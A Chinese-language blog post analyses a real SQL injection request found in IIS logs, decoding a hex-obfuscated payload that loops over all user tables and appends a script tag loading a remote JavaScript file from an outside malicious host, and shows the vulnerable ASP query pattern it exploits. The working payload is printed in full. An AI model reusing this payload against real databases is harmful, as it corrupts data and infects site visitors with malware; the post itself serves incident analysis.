摘要:SQL隱碼攻擊案例分析...
前一陣在看IIS的錯誤訊息的時候看到一串很奇怪的請求,內容如下...
.......aspx?&xxx=372;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);...........
乍看一堆奇怪的訊息，搞不清楚到底想做啥,把字串稍微處理了一下..
他的目的大概是下面...
這是原本的
DECLARE @S CHAR(4000);
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));
EXEC(@S); <--這一行不要亂測試,資料庫會亂寫地
不過我不想執行所以把..
EXEC(@S); 改成 print Print @S;
最後得到...
@S 的內容其實為 ..
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
看來就是前一陣子亂槍打鳥的 SQL 攻擊事件的手法，比較覺得可怕的是，
實際攻擊的 SQL 他還先用 16 進位的方式表示，再透過 cast 轉成實際攻擊的
String,達到隱藏攻擊內容目的,真的是心機很重....
如果原本有一支程式是...
show_news.asp?id=10
程式裡面是
.... select * from aa where id = " & Request("id")
基本上只要 id 的參數被改成後面那段 ...就掛了....
因為被注入的SQL會 透過 sysobjects a,syscolumns ...把所有有可能的
欄位都加上 有害的 js 連結......
Ps:以上只供案例參考，別拿去做壞事....
